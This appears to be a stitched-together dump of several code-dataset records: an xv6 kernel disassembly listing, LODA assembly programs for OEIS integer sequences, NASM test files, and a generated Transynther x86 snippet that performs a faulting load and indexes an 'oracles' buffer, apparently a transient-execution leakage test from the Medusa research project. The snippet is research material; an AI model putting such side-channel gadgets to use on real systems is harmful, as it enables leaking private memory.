80107000 <copyuvm>: // Given a parent process's page table, create a copy // of it for a child. pde_t* copyuvm(pde_t *pgdir, uint sz) { 80107000: 55 push %ebp 80107001: 89 e5 mov %esp,%ebp 80107003: 57 push %edi 80107004: 56 push %esi 80107005: 53 push %ebx 80107006: 83 ec 1c sub $0x1c,%esp pde_t *d; pte_t *pte; uint pa, i, flags; char *mem; if((d = setupkvm()) == 0) 80107009: e8 22 ff ff ff call 80106f30 <setupkvm> 8010700e: 85 c0 test %eax,%eax 80107010: 89 45 e0 mov %eax,-0x20(%ebp) 80107013: 0f 84 9f 00 00 00 je 801070b8 <copyuvm+0xb8> return 0; for(i = 0; i < sz; i += PGSIZE){ 80107019: 8b 4d 0c mov 0xc(%ebp),%ecx 8010701c: 85 c9 test %ecx,%ecx 8010701e: 0f 84 94 00 00 00 je 801070b8 <copyuvm+0xb8> 80107024: 31 ff xor %edi,%edi 80107026: eb 4a jmp 80107072 <copyuvm+0x72> 80107028: 90 nop 80107029: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi panic("copyuvm: page not present"); pa = PTE_ADDR(*pte); flags = PTE_FLAGS(*pte); if((mem = kalloc()) == 0) goto bad; memmove(mem, (char*)P2V(pa), PGSIZE); 80107030: 83 ec 04 sub $0x4,%esp 80107033: 81 c3 00 00 00 80 add $0x80000000,%ebx 80107039: 68 00 10 00 00 push $0x1000 8010703e: 53 push %ebx 8010703f: 50 push %eax 80107040: e8 cb d7 ff ff call 80104810 <memmove> if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0) { 80107045: 58 pop %eax 80107046: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax 8010704c: b9 00 10 00 00 mov $0x1000,%ecx 80107051: 5a pop %edx 80107052: ff 75 e4 pushl -0x1c(%ebp) 80107055: 50 push %eax 80107056: 89 fa mov %edi,%edx 80107058: 8b 45 e0 mov -0x20(%ebp),%eax 8010705b: e8 c0 f8 ff ff call 80106920 <mappages> 80107060: 83 c4 10 add $0x10,%esp 80107063: 85 c0 test %eax,%eax 80107065: 78 61 js 801070c8 <copyuvm+0xc8> for(i = 0; i < sz; i += PGSIZE){ 80107067: 81 c7 00 10 00 00 add $0x1000,%edi 8010706d: 39 7d 0c cmp %edi,0xc(%ebp) 80107070: 76 46 jbe 801070b8 <copyuvm+0xb8> if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0) 80107072: 8b 45 08 mov 0x8(%ebp),%eax 80107075: 31 c9 xor %ecx,%ecx 80107077: 89 fa mov %edi,%edx 80107079: e8 22 f8 ff ff call 801068a0 <walkpgdir> 8010707e: 85 c0 test %eax,%eax 80107080: 74 61 je 801070e3 <copyuvm+0xe3> if(!(*pte & PTE_P)) 80107082: 8b 00 mov (%eax),%eax 80107084: a8 01 test $0x1,%al 80107086: 74 4e je 801070d6 <copyuvm+0xd6> pa = PTE_ADDR(*pte); 80107088: 89 c3 mov %eax,%ebx flags = PTE_FLAGS(*pte); 8010708a: 25 ff 0f 00 00 and $0xfff,%eax pa = PTE_ADDR(*pte); 8010708f: 81 e3 00 f0 ff ff and $0xfffff000,%ebx flags = PTE_FLAGS(*pte); 80107095: 89 45 e4 mov %eax,-0x1c(%ebp) if((mem = kalloc()) == 0) 80107098: e8 23 b4 ff ff call 801024c0 <kalloc> 8010709d: 85 c0 test %eax,%eax 8010709f: 89 c6 mov %eax,%esi 801070a1: 75 8d jne 80107030 <copyuvm+0x30> } } return d; bad: freevm(d); 801070a3: 83 ec 0c sub $0xc,%esp 801070a6: ff 75 e0 pushl -0x20(%ebp) 801070a9: e8 02 fe ff ff call 80106eb0 <freevm> return 0; 801070ae: 83 c4 10 add $0x10,%esp 801070b1: c7 45 e0 00 00 00 00 movl $0x0,-0x20(%ebp) } 801070b8: 8b 45 e0 mov -0x20(%ebp),%eax 801070bb: 8d 65 f4 lea -0xc(%ebp),%esp 801070be: 5b pop %ebx 801070bf: 5e pop %esi 801070c0: 5f pop %edi 801070c1: 5d pop %ebp 801070c2: c3 ret 801070c3: 90 nop 801070c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi kfree(mem); 801070c8: 83 ec 0c sub $0xc,%esp 801070cb: 56 push %esi 801070cc: e8 3f b2 ff ff call 80102310 <kfree> goto bad; 801070d1: 83 c4 10 add $0x10,%esp 801070d4: eb cd jmp 801070a3 <copyuvm+0xa3> panic("copyuvm: page not present"); 801070d6: 83 ec 0c sub $0xc,%esp 801070d9: 68 b2 7c 10 80 push $0x80107cb2 801070de: e8 ad 92 ff ff call 80100390 <panic> panic("copyuvm: pte should exist"); 801070e3: 83 ec 0c sub $0xc,%esp 801070e6: 68 98 7c 10 80 push $0x80107c98 801070eb: e8 a0 92 ff ff call 80100390 <panic> 801070f0 <uva2ka>: //PAGEBREAK! // Map user virtual address to kernel address. char* uva2ka(pde_t *pgdir, char *uva) { 801070f0: 55 push %ebp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 801070f1: 31 c9 xor %ecx,%ecx { 801070f3: 89 e5 mov %esp,%ebp 801070f5: 83 ec 08 sub $0x8,%esp pte = walkpgdir(pgdir, uva, 0); 801070f8: 8b 55 0c mov 0xc(%ebp),%edx 801070fb: 8b 45 08 mov 0x8(%ebp),%eax 801070fe: e8 9d f7 ff ff call 801068a0 <walkpgdir> if((*pte & PTE_P) == 0) 80107103: 8b 00 mov (%eax),%eax return 0; if((*pte & PTE_U) == 0) return 0; return (char*)P2V(PTE_ADDR(*pte)); } 80107105: c9 leave if((*pte & PTE_U) == 0) 80107106: 89 c2 mov %eax,%edx return (char*)P2V(PTE_ADDR(*pte)); 80107108: 25 00 f0 ff ff and $0xfffff000,%eax if((*pte & PTE_U) == 0) 8010710d: 83 e2 05 and $0x5,%edx return (char*)P2V(PTE_ADDR(*pte)); 80107110: 05 00 00 00 80 add $0x80000000,%eax 80107115: 83 fa 05 cmp $0x5,%edx 80107118: ba 00 00 00 00 mov $0x0,%edx 8010711d: 0f 45 c2 cmovne %edx,%eax } 80107120: c3 ret 80107121: eb 0d jmp 80107130 <copyout> 80107123: 90 nop 80107124: 90 nop 80107125: 90 nop 80107126: 90 nop 80107127: 90 nop 80107128: 90 nop 80107129: 90 nop 8010712a: 90 nop 8010712b: 90 nop 8010712c: 90 nop 8010712d: 90 nop 8010712e: 90 nop 8010712f: 90 nop 80107130 <copyout>: // Copy len bytes from p to user address va in page table pgdir. // Most useful when pgdir is not the current page table. // uva2ka ensures this only works for PTE_U pages. int copyout(pde_t *pgdir, uint va, void *p, uint len) { 80107130: 55 push %ebp 80107131: 89 e5 mov %esp,%ebp 80107133: 57 push %edi 80107134: 56 push %esi 80107135: 53 push %ebx 80107136: 83 ec 1c sub $0x1c,%esp 80107139: 8b 5d 14 mov 0x14(%ebp),%ebx 8010713c: 8b 55 0c mov 0xc(%ebp),%edx 8010713f: 8b 7d 10 mov 0x10(%ebp),%edi char *buf, *pa0; uint n, va0; buf = (char*)p; while(len > 0){ 80107142: 85 db test %ebx,%ebx 80107144: 75 40 jne 80107186 <copyout+0x56> 80107146: eb 70 jmp 801071b8 <copyout+0x88> 80107148: 90 nop 80107149: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi va0 = (uint)PGROUNDDOWN(va); pa0 = uva2ka(pgdir, (char*)va0); if(pa0 == 0) return -1; n = PGSIZE - (va - va0); 80107150: 8b 55 e4 mov -0x1c(%ebp),%edx 80107153: 89 f1 mov %esi,%ecx 80107155: 29 d1 sub %edx,%ecx 80107157: 81 c1 00 10 00 00 add $0x1000,%ecx 8010715d: 39 d9 cmp %ebx,%ecx 8010715f: 0f 47 cb cmova %ebx,%ecx if(n > len) n = len; memmove(pa0 + (va - va0), buf, n); 80107162: 29 f2 sub %esi,%edx 80107164: 83 ec 04 sub $0x4,%esp 80107167: 01 d0 add %edx,%eax 80107169: 51 push %ecx 8010716a: 57 push %edi 8010716b: 50 push %eax 8010716c: 89 4d e4 mov %ecx,-0x1c(%ebp) 8010716f: e8 9c d6 ff ff call 80104810 <memmove> len -= n; buf += n; 80107174: 8b 4d e4 mov -0x1c(%ebp),%ecx while(len > 0){ 80107177: 83 c4 10 add $0x10,%esp va = va0 + PGSIZE; 8010717a: 8d 96 00 10 00 00 lea 0x1000(%esi),%edx buf += n; 80107180: 01 cf add %ecx,%edi while(len > 0){ 80107182: 29 cb sub %ecx,%ebx 80107184: 74 32 je 801071b8 <copyout+0x88> va0 = (uint)PGROUNDDOWN(va); 80107186: 89 d6 mov %edx,%esi pa0 = uva2ka(pgdir, (char*)va0); 80107188: 83 ec 08 sub $0x8,%esp va0 = (uint)PGROUNDDOWN(va); 8010718b: 89 55 e4 mov %edx,-0x1c(%ebp) 8010718e: 81 e6 00 f0 ff ff and $0xfffff000,%esi pa0 = uva2ka(pgdir, (char*)va0); 80107194: 56 push %esi 80107195: ff 75 08 pushl 0x8(%ebp) 80107198: e8 53 ff ff ff call 801070f0 <uva2ka> if(pa0 == 0) 8010719d: 83 c4 10 add $0x10,%esp 801071a0: 85 c0 test %eax,%eax 801071a2: 75 ac jne 80107150 <copyout+0x20> } return 0; } 801071a4: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 801071a7: b8 ff ff ff ff mov $0xffffffff,%eax } 801071ac: 5b pop %ebx 801071ad: 5e pop %esi 801071ae: 5f pop %edi 801071af: 5d pop %ebp 801071b0: c3 ret 801071b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801071b8: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 801071bb: 31 c0 xor %eax,%eax } 801071bd: 5b pop %ebx 801071be: 5e pop %esi 801071bf: 5f pop %edi 801071c0: 5d pop %ebp 801071c1: c3 ret
38.451922
151
0.522255
2580fed596e61d676c9f106fb417ccf547411b9f
628
asm
Assembly
programs/oeis/071/A071538.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/071/A071538.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/071/A071538.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A071538: Number of twin prime pairs (p, p+2) with p <= n. ; 0,0,1,1,2,2,2,2,2,2,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8 mov $3,$0 mov $6,$0 lpb $3 mov $0,$6 sub $3,1 sub $0,$3 mov $4,0 lpb $0 seq $2,17778 ; Binomial coefficients C(62,n). mov $5,$0 seq $5,45965 ; a(1)=2; if n = Product p_i^e_i, n > 1, then a(n) = Product p_{i+1}^e_i. lpb $2 mov $0,-5 add $0,$5 add $0,1 mov $2,0 add $4,1 lpe lpe add $1,$4 lpe mov $0,$1
24.153846
201
0.496815
6a76988f24ee681743fb2cbb606a757329506778
511
asm
Assembly
programs/oeis/020/A020648.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/020/A020648.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/020/A020648.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A020648: Least positive integer k for which 9^n divides k!. ; 1,6,9,15,18,24,27,30,36,39,45,48,54,54,60,63,69,72,78,81,81,87,90,96,99,105,108,111,117,120,126,129,135,135,141,144,150,153,159,162,162,168,171,177,180,186,189,192,198,201,207,210,216,216,222,225,231,234,240,243,243,246,252,255,261,264,270,270,276,279,285,288,294,297,300,306,309,315,318,324,324,327,333,336,342,345,351,351,357,360,366,369,375,378,381,387,390,396,399,405 mul $0,2 seq $0,7844 ; Least positive integer k for which 3^n divides k!.
85.166667
373
0.72407
889061b8c133446a1601eae45515c09a76db04ab
467
asm
Assembly
oeis/176/A176732.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/176/A176732.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/176/A176732.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A176732: a(n) = (n+5)*a(n-1) + (n-1)*a(n-2), a(-1)=0, a(0)=1. ; Submitted by Christian Krause ; 1,6,43,356,3333,34754,398959,4996032,67741129,988344062,15434831091,256840738076,4536075689293,84731451264186,1668866557980343,34563571477305464,750867999393119889,17072113130285524982,405423357986250112699,10037458628015142154452,258639509502117306002581 mov $3,1 lpb $0 sub $0,1 mov $2,$3 mul $2,$0 mul $3,6 add $3,$1 mov $1,$2 add $3,$2 lpe mov $0,$3
29.1875
257
0.723769
326b3fa1041365aff8a62fdaa92e715311078476
424
asm
Assembly
programs/oeis/055/A055555.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/055/A055555.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/055/A055555.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A055555: a(n) = n!*(n!+1)/2. ; 1,1,3,21,300,7260,259560,12703320,812871360,65841128640,6584096534400,796675481078400,114721266640780800,19387894024929830400,3800027228319587865600,855006126362753549184000,218881568348707987666944000,63256773252773762936322048000 seq $0,142 ; Factorial numbers: n! = 1*2*3*4*...*n (order of symmetric group S_n, number of permutations of n letters). mov $1,$0 add $0,1 mul $0,$1 div $0,2
47.111111
233
0.778302
6d95b016ea102fa0e8807ef7b9ed5b4dc44e2f84
1,897
asm
Assembly
programs/oeis/110/A110391.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/110/A110391.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/110/A110391.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A110391: a(n) = L(3*n)/L(n), where L(n) = Lucas number. ; 1,4,6,19,46,124,321,844,2206,5779,15126,39604,103681,271444,710646,1860499,4870846,12752044,33385281,87403804,228826126,599074579,1568397606,4106118244,10749957121,28143753124,73681302246,192900153619,505019158606,1322157322204,3461452808001,9062201101804,23725150497406,62113250390419,162614600673846,425730551631124,1114577054219521,2918000611027444,7639424778862806,20000273725560979,52361396397820126,137083915467899404,358890350005878081,939587134549734844,2459871053643326446,6440026026380244499,16860207025497407046,44140595050111976644,115561578124838522881,302544139324403592004,792070839848372253126,2073668380220713167379,5428934300813767249006,14213134522220588579644,37210469265847998489921,97418273275323406890124,255044350560122222180446,667714778405043259651219,1748099984655007556773206,4576585175559979410668404,11981655542024930675232001,31368381450514812615027604,82123488809519507169850806,215002084978043708894524819,562882766124611619513723646,1473646213395791149646646124,3858055874062761829426214721,10100521408792494338631998044,26443508352314721186469779406,69230003648151669220777340179,181246502592140286475862241126,474509504128269190206809383204,1242282009792667284144565908481,3252336525249732662226888342244,8514727565956530702536099118246,22291846172619859445381409012499,58360810951903047633608127919246,152790586683089283455442974745244,400010949097364802732720796316481,1047242260609005124742719414204204,2741715832729650571495437446296126,7177905237579946589743592924684179,18791999880010189197735341327756406,49198094402450621003462431058585044,128802283327341673812651951847998721,337208755579574400434493424485411124,882823983411381527490828321608234646 mov $2,$0 seq $0,240926 ; a(n) = 2 + L(2*n) = 2 + A005248(n), n >= 0, with the Lucas numbers (A000032). gcd $2,2 mul $2,2 sub $2,1 sub $0,$2
189.7
1,696
0.90564
40333e7ce04fb73ed85193d5fb8d3a1219513ce1
402
asm
Assembly
programs/oeis/228/A228305.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/228/A228305.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/228/A228305.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A228305: a(1) = 3; for n >= 1, a(2*n) = 2^(n+1), a(2*n+1) = 5*2^(n-1). ; 3,4,5,8,10,16,20,32,40,64,80,128,160,256,320,512,640,1024,1280,2048,2560,4096,5120,8192,10240,16384,20480,32768,40960,65536,81920,131072,163840,262144,327680,524288,655360,1048576,1310720,2097152,2621440,4194304,5242880 mov $2,$0 gcd $2,2 lpb $0 sub $0,1 trn $0,1 add $3,$2 mov $2,$3 add $2,3 lpe add $0,$3 add $0,3
26.8
221
0.641791
88f763ff55bea3ada87aa8e18b0ba4d9d140e1b0
5,769
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1183.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1183.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1183.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r14 push %rax lea addresses_WT_ht+0x15801, %r10 nop nop nop nop nop sub $60709, %r12 movw $0x6162, (%r10) nop nop nop nop sub %r14, %r14 pop %rax pop %r14 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r14 push %r8 push %rbp push %rbx push %rdx // Store lea addresses_WC+0x10621, %rbx nop nop sub %r14, %r14 movb $0x51, (%rbx) nop nop nop nop add $46611, %r10 // Store lea addresses_WT+0x8de8, %r14 xor %r8, %r8 movl $0x51525354, (%r14) sub $38119, %r8 // Store lea addresses_D+0x16541, %r11 nop nop nop inc %rbx mov $0x5152535455565758, %r8 movq %r8, (%r11) nop nop nop nop dec %rbx // Store lea addresses_UC+0x1281, %r11 nop nop mfence movl $0x51525354, (%r11) nop nop nop nop dec %r11 // Store lea addresses_WT+0x113c1, %r11 nop nop add $48320, %rbp movl $0x51525354, (%r11) nop nop add $32250, %r10 // Store lea addresses_WT+0x8141, %r14 clflush (%r14) nop nop nop cmp $2997, %r10 mov $0x5152535455565758, %rbp movq %rbp, %xmm3 movups %xmm3, (%r14) nop nop nop nop xor $61558, %rbx // Load lea addresses_RW+0x51a1, %r8 nop nop nop nop add %rbp, %rbp movups (%r8), %xmm7 vpextrq $1, %xmm7, %rdx nop nop cmp %rdx, %rdx // Faulty Load lea addresses_WT+0x19541, %r11 nop sub $55559, %r8 mov (%r11), %rdx lea oracles, %r10 and $0xff, %rdx shlq $12, %rdx mov (%r10,%rdx,1), %rdx pop %rdx pop %rbx pop %rbp pop %r8 pop %r14 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': True, 'size': 8, 'NT': False, 'same': False, 'congruent': 11}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 4, 'NT': True, 'same': False, 'congruent': 2}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 10}} {'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 6}} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
37.219355
2,999
0.653146
d1be751c44a16f38368d8c7c908515e072d507ef
117
asm
Assembly
src/third_party/nasm/test/macroerr.asm
Mr-Sheep/naiveproxy
9f6e9768295f6d1d41517a15a621d4756bd7d6be
[ "BSD-3-Clause" ]
2,219
2018-03-26T02:57:34.000Z
2022-03-31T00:27:59.000Z
src/third_party/nasm/test/macroerr.asm
Mr-Sheep/naiveproxy
9f6e9768295f6d1d41517a15a621d4756bd7d6be
[ "BSD-3-Clause" ]
395
2020-04-18T08:22:18.000Z
2021-12-08T13:04:49.000Z
src/third_party/nasm/test/macroerr.asm
Mr-Sheep/naiveproxy
9f6e9768295f6d1d41517a15a621d4756bd7d6be
[ "BSD-3-Clause" ]
473
2019-03-24T16:34:23.000Z
2022-03-31T02:01:05.000Z
%include "macroerr.inc" %macro bluttan 1 mov eax,%1 blej %1 %endmacro bluttan ptr blej ptr dd ptr, ptr ptr:
9
23
0.675214
1bd4f6ecaf9473a0906951eb9127d5b5ddd374d4
248
asm
Assembly
programs/oeis/010/A010684.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/010/A010684.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/010/A010684.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A010684: Period 2: repeat (1,3); offset 0. ; 1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1 mod $0,2 mov $1,3 pow $1,$0 mov $0,$1
31
163
0.524194
8cb1add486c411dda98e4f916deb07f7a5a85127
1,085
asm
Assembly
_build/dispatcher/jmp_ippsSHA224GetSize_47fbce84.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
1
2021-10-04T10:21:54.000Z
2021-10-04T10:21:54.000Z
_build/dispatcher/jmp_ippsSHA224GetSize_47fbce84.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
null
null
null
_build/dispatcher/jmp_ippsSHA224GetSize_47fbce84.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
null
null
null
